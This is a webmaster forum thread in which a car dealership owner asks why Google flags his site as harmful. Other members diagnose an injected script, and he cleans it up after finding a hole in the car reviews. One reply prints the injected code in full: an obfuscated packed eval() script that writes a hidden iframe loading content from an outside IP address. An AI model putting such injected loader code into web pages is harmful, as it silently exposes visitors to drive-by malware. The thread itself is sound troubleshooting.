Google listing my site as harmful - when it isn't

[evertonian7uk]

Hi guys,

i just did a google search on my site to check the rankings, and i found they've listed my site as harmful,

http://www.google.com/search?hl=en&q=military+car+sales

my site is www.grafmilitarysales.com

its a website for my business, i own a dealership selling cars to US troops oversea's and in no way is my site harmful

how can i proceed with this, as google is costing me ALOT of money with this incorrect listing,

i have a guy on NP doing seo work for my site, but he hasnt accessed it at all, ive checked all the files and there is nothing in there to suggest its harmful at all.

any help you can provide would be great!!

 

[verbster]

What did Google say when you asked them about it?

 

[TT]

click the link it states malware link from within your site.

 

[evertonian7uk]

google said nothing, zip nada!

its costing me about 5 sales a month which to me means about $10K in commisions!!!!

there is ZERO malware on my site, check it and see, its been live for over a year with no issues, then i have someone do seo work (which was not done on my site, they had zero access to it, someone from NP with good rep)

and i get that message, im stuck really stuck and google wont reply.

there is ZERo malware on there, no ads, no nothing just infoamtion!

 

[shockie]

have you made any recent changes to your site at all?

 

[evertonian7uk]

nope nothing at all, i checked everything twice to be sure, the only thing i can think of is if:

A: the seo guy linked me somehow to a not so good site

or

B: i was hacked into a files changed

so i verifed every single file, and the databases there nothing is changed at all, no code out of place or put in, i jsut dont understand this at all,

i was fine all last week, in fact all last year and most of this year, it just happened, ive contacted google and antispam.org to no avail, and im losing a possible $10K a month because of this

 

[verbster]

For $10k per month, I'd fly to Mt. View, CA and talk to Google personally.

 

[evertonian7uk]

and lose the other commisions from face to face sales, hell no lol.

this is my business, my work, my customers are seeing this harmful content message and going to my competitors,

i am really surprised theres no phone number or anything to call, ive searched high and low.

i just got this from goolge, it clearly states my site HASNT hosted any viruses, the IP address that goolge is showing isnt even my IP address (my server IP)

this is crazy

Advisory provided by
Safe Browsing
Diagnostic page for www.grafmilitarysales.com/
What is the current listing status for www.grafmilitarysales.com/?

Site is listed as suspicious - visiting this web site may harm your computer.

Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.

What happened when Google visited this site?

Of the 3 pages we tested on the site over the past 90 days, 3 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 05/26/2008, and the last time suspicious content was found on this site was on 05/26/2008.

Malicious software is hosted on 1 domain(s), including 78.129.202.0.

Has this site acted as an intermediary resulting in further distribution of malware?

Over the past 90 days, www.grafmilitarysales.com/ did not appear to function as an intermediary for the infection of any sites.
Has this site hosted malware?

No, this site has not hosted malicious software over the past 90 days.

How did this happen?

In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

Next steps:

Return to the previous page.
If you are the owner of this web site, you can request a review of your site using Google Webmaster Tools. More information about the review process is available in Google's Webmaster Help Center.

 

[BitcoinDK]

"If you are the owner of this web site, you can request a review of your site using Google Webmaster Tools. More information about the review process is available in Google's Webmaster Help Center."

Stupid question, but have you done this?

 

[whitebark]

There was a rash of hacked servers serving up spyware - maybe your server was one of them and the server admin has since corrected the problem. I accessed your page and neither my spam or virus software flagged anything. Ask your web host if they were hit or not - they might not tell you if they were, but a web host worth their salt should...

How you get that removed is another matter as you have found out - dealing with google can be a real pain. But as the notice you quoted shows - contact them via google webmaster tools. But be sure to ask your server admin if there were problems and if they have been fixed first. It would also be a good idea to do a full backup from files you know worked before submitting a review.

 

[labrocca]

Have you bothered to look at your source code?

<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('9.3("<0 f=\'e:d;\' b=\'a.c\'><1 8=\'5://2.7.6.4/g/\'></1></0>");',17,17,'div|iframe|78|write||http|202|129|src|document|vers_06|class||none|display|style|ad'.split('|'),0,{}))</script>[/quote] You're hacked most likely...or it's someone with a bad script...that's outside your HTML tag...probably malware.

 

[flamewalker]

You should ask for help in the coding marketplace... I'm sure someone will be able to help you for relatively cheap.

 

[evertonian7uk]

i checked the source yesterday and didnt see that!! i checked the files today and didnt see it,

i just searched for your quote and found the text!

it was in my index file, since theres no input on there i am to assume someone placed it via the contact form or cell phone input?? (the inputs are all from php includes)

thanks for spotting that labrocca i appreicate it alot!

 

[AHA7]

I can still see the bad JS code in the source code of this page: www.grafmilitarysales.com/specials/index.php (look at the bottom of the source code)

You must go over ALL the pages of your site one by one and clean them in order for Google to lift the flag.

 

[evertonian7uk]

i found the problem!! thanks a mill for all the help, i completly removed the loose code and deleted it from the server, i asked google to check it again,

there was a exploit in the reviews on cars which allowed the code in.

 

[verbster]

Most helpful thread I've seen in a while. Gold Stars to labrocca for finding the bad code...and to AHA7 for the follow-up.

 

[dezinerite]

Wow, that's just awesome that labrocca & AHA7 were able to help!

 

[labrocca]

I have a site every now and that get injected with this style of code.

Glad to have been some help.

 

[evertonian7uk]

im glad you were able to help as well lol,

thanks to you taking the time you spotted something i had missed, as did AHA7 which i am greatful for.

 

[thetux]

google said nothing, zip nada!

its costing me about 5 sales a month which to me means about $10K in commisions!!!!

How were you able to determine "what" its costing you, and I have a hard time believing you're raking in 10K in commission from that little web page,. no offense.